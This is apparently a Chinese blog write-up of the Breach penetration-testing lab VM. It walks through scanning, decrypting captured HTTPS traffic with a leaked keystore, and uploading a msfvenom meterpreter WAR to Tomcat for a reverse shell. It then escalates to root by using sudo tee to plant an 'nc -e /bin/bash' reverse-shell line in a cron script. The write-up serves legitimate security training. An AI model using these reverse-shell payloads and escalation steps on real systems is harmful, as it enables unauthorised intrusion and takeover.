breach靶场练习详细全过程

补充:桥接,nat,host only三种网络模式的区别:

模式: 特点: 场景:

  • bridge桥接模式:
  • 特点: 虚拟机使用物理机的网卡,不用虚拟网卡,占用一个ip,需要配置ip以后才可以访问互联网
  • 场景:虚拟机需要连接实体设备的时候
  • nat网络地址转换模式:
  • 特点:虚拟了一个网卡出来,无需配置就可以访问互联网
  • 场景:大部分情况下
  • host only仅主机模式:
  • 特点:虚拟机只能与物理机连接,不能访问互联网
  • 场景:隔离内部网络。实验环境

1.配置环境,设为同一网段

作者描述:靶机配置了一个静态ip地址,需要仅主机适配器配置子网配置仅主机网卡为DHCP,子网地址为192.168.110.0

配置成功

主机发现:已知了它的ip地址:192.168.110.140 那可以省去这一步骤了

2.利用namap端口扫描(开了防御无果)

端口扫描:nmap -v -A 192.168.110.140 其中-A时深度扫描,-v是输出详细的信息

这么一扫发现几乎所有的端口都开放了,显然有问题,那是因为虚拟机对端口做了一些防护措施来混淆是非

3.手动测试,入手80端口,从网页寻找

所以只能手动测试了,一般都优先考虑80端口,因为它的web漏洞多

一般拿到一个页面,

  • 右键看源码 √
  • 扫描目录
  • sql注入等等

看起来很像base64解码,(长度有64位,8的倍数)

假如是MD5的话,长度一定是32位 内容一定是0-9,A-F的范围内

哈希SHA-1的话,长度40,内容一定是0-9,A-F的范围内

初步判断 试试base64

看着像二次,再解一次

哇呜,好像啥,先留着吧

然后。沉默了,然后呢,o_o ....然后我就点啊点啊,点了一下图片就跳转到一个

是一个超链接

4.进入后台 cms漏洞挖掘+信息收集

发现是个impress cms漏洞,学到一个新知识,哈哈哈我的知识盲区

什么是cms?

CMS是“Content Management System”的缩写,意为“内容管理系统”。网站的开发者为了方便,制作了不同种类的CMS,可以加快网站开发的速度和减少开发的成本。

常见的CMS:

php类cms系统:dedecms、帝国cms、php168、phpcms、cmstop、discuz、phpwind等

asp类cms系统:zblog、KingCMS等

国外的著名cms系统:joomla、WordPress 、magento、drupal 、mambo。

对于拿到一个web网站首页,常用的渗透和收集信息的方法有:

  • 查看源码
  • 目录扫描
  • sql注入 不需要
  • 密码暴力破解 不需要
  • 文件上传
  • 等等

目录扫描好像没什么新奇的(前台)

惊!那个原来是账号密码,试试,就登进去了

然后跳转到这个页面,有点像目录泄露,为什么服务器的目录会泄露给用户端呢

启动msf,看看有没有什么现成的漏洞可以利用

发现有五个现成的漏洞,但是因为我不知道这个系统的版本,所以只能一个一个 去试试了

全部试了以后发现都不是,说明版本不适合 ???

只能另辟西经 有三个未读邮件

IDS:是入侵检测系统,IPS:是入侵防御系统

转到192.168.110.140/.keystore,下载下来是个keystore文件

keystore文件:是密钥存储文件,有密码保护的,但是我好像不知道密码

ssl/tls是http安全连接的协议

退出来以后继续收集信息,就从上面一栏一栏点开试试了

又出现了SSL

pcap file:是一个抓包文件,是一个记录流量的文件 这个文件也下载下来了

它告诉我 :他们告诉我别名,存储密码和密钥密码都设置为“tomcat”。有用了,刚刚那个keystore文件就差一个密码了

!重要:

这个 pcap file用wireshark去查看的话肯定不是明文的,因为这个经过了https安全加密的

没有找到httpo_o ....

5.利用keystore解密流量包,伪造ssl证书

所以我们要基于那个keystore来解密流量包😵

keystore的解密要借助jdk中的keytool.exe

在keystore所在文件地方打开终端,输入命令

keytool -list -keystore keystore

导出证书文件

keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype pkcs12 -srcalias tomcat

导出keystore: -importkeystore

指定要导的源文件:-srckeystore keystore

指定导出的证书存放的路径: -destkeystore tomcatkeystore.p12

指定导出证书的类型: -deststoretype

导出的别名:-srcalias tomcat

成功导出SSL证书

要解密的是https的流量

SSL证书有啥用呢?

由于http协议采用的是明文传输数据,是非常不安全的。所以,为了使http协议在传输数据时更安全,客户端和服务器直接通信需要利用SSL证书进行身份认证和数据加解密,没有正确的SSL证书就无法破解http数据包的内容。

在之前还有个pcap文件,是一个数据包文件,可以利用Wireshark工具打开,

Frame:物理层的数据帧概况。

Ethernet II:数据链路层以太网帧头部信息。

Internet Protocol Version 4:互联网层IP包头部信息。

Transmission Control Protocol:传输层的数据段头部信息,此处是TCP协议。

User Datagram Protocol:UDP协议

Hypertext Transfer Protocol:应用层的信息,此处是HTTP协议

Transport Layer Security 安全运输协议,SSL

发现攻击者(192.168.110.129)大量访问靶机的8443端口,但其中许多数据包都被加密了

导入ssl证书,在编辑->首选项->Protocols-->SSL/TLS(如果没有SSL就选TLS)-->Edit输入ip,端口,证书存放路径,还有密码

出现了http,但是太多了,过滤一下,只关注应用层http的流量

ip.src == 192.168.110.140 || ip.dst == 192.160.110.140 and http

只关注靶机的ip和这个靶机ip的http流量 写个参数过滤

6.开bp代理,绕过浏览器检查

把靶机上是可以访问这个地址的,流量包显示

但是在我的电脑上却无法访问

为什么呢????

不安全,为什么呢?是不是证书出了问题,这就是服务器本身没什么问题的,应该是浏览器自己拦截的,因为它认为它不安全

惊!

这个窗口是HTTP BASIC验证

所以用户和密码是什么呢,还要寻找,目前只能先去流量包那里寻找了

经过漫长的寻找/(ㄒoㄒ)/~~

tomcat:Tt\5D8F(#!*u=G)4m7zB

登录进去以后快速在bp抓包再放包

7.进入Tomcat后台 上传war反弹连接

这个管理后台一般是用来管理java应用,有个上传的功能,想到上传war包木马 java反弹连接

用msf生成

先生成一个新目录

pwd

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war > tomcat.war 生成war包

从靶机发送到物理机

设置好监听

在物理机上传war包 快速抓包放包

点击执行tomcat程序,反弹shell

8.成功反弹,信息收集,提升权限

sysinfo 查看有没有系统漏洞 结合它的登录界面是Ubuntu14.04.4,去msf里search发现没有与之符合的相关漏洞

先提升到交互式吧,如果靶机刚好安装了python,就可以用命令

python -c 'import pty;pty. spawn("/bin/bash")'来提升到交互式 (就可以使用vi,cim那些命令了) 提升成功

现在要提权

尝试:

内核版本为Linux Breach 4.2.0-27-generic

试试查看它的操作系统最敏感的文件,cat /etc/passwd

存着用户名

这里我们忽略前面的一条线索

这个impressXXX网站是部署在apache 它默认的路径是/var/www

那我就cat它试试

第一个php文件是数据库连接的文件

发现最高权限的用户,用户名是root,密码是空

因为前面是php,初步判断它的数据库是mysql,试试能不能连上

进入了应用系统的数据库了

mysql是系统的库 查看它

milton:6450d89bd3aff1d893b85d3ad65d2ec2

密码 thelaststraw

这个密码刚好32位,怀疑是MD5

ssh登录成功!

ls -a 看看目录下隐藏文件

发现有个脚本

再来这里找找线索

这里有很多存在的用户 root blumbergh naono。。 但是密码未知

所以现在要找密码:找线索

http://192.168.110.140/images/

这里有个Bill.png

分析一下

邮件发送人也是Bill

跟bill有关系的用户是blumbergh,现在我们要找的是他的密码,那就初步判断那个bill.png里隐藏着密码

把图片下载下来

如何提取图片中的字符?

strings Linux操作的命令 从二进制文本把可见文本提取

exiftool

binwalk

notepad++

winhex/010editor

grep

sed

power_exif 查看属性的方式课修改一部分的信息

foremost或者010查看提取或者stegsolve或者stegohide

Linux中的dd命令

reverseMe图片逆转

Jphs,outguess,stagdetect

这里采有strings命令,打印文件中的可打印字符串,图片是二进制文件,直接打开基本是乱码,只有那些可以直接打印的字符才有可能是我们想要得到的数据

strings命令是二进制工具集GNU Binutils的一员,用于打印文件中可打印字符串,文件可以是文本文件(test.c),但一般用于打印二进制目标文件、库或可执行文件中的可打印字符。字符串默认至少是4个或更多可打印字符的任意序列,可使用选项改变字符串最小长度。

strings bill.png > bill.txt

一行行查看

密码:coffeestains

登录成功,开始信息收集

sudo -l

history

这个blumbergh可以用root的身份去执行这个程序

写一个反弹连接的任务到那个tidyup的执行文件 但是这个文件只有root才能更改

这个时候回到刚刚那个 /usr/bin/tee

tee是什么?

查看tee使用方法:Linux tee命令 | 菜鸟教程

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。

也就是将一个文件的内容复制或者追加到另一个文件

先创建一个含反弹shell命令的文件shell.txt,并写入反弹命令(在blumbergh用户的home目录下)其他目录可能会没有写入权限

echo "nc -e /bin/bash 192.168.110.128 8888" >shell.txt

再开一个窗口,设置好准备监听,nv -lvvp 8888

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh 把shell.txt内容追加到目标文件

访问

查看flag:I NEED TO TALK ABOUT YOUR FLAIR

9.总结与思考

1.这次的靶场打的我比较震惊的,长见识了,真的很明显的感受到信息搜索和分析的力量,有种睿智的推理家的感觉了,特别是到后面推测用户blumbergh与bill微妙的关系,以及最后blumbergh的密码是隐藏在bill的图片里,是需要一大段信息的搜索和条理清晰的分析才能得到的推断的,要有耐心,不放过任何一条线索。

2.还有一些细节部分,例如查看网站的详细信息,用whatweb -v查看发现它是用apache搭建部署的,于是想到查看它的默认路径这/var/www,还有对一些密码类型的判断,等等都是需要一定积累,都是需要多打靶场得到的经验,当然我的那些思路都并不是我自己凭空想出来的,都是根据视频还有一些帖子模仿而来的

3.接触到新的知识,例如cms漏洞,伪造ssl证书,pcap文件是个流量包,利用keystore解密流量包http加密部分,以及bp代理绕过浏览器对证书的检查,利用msf生成war反弹shell的命令,还有连接mysql的一些命令(记得加;),tee命令与应用,常见提权方法。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值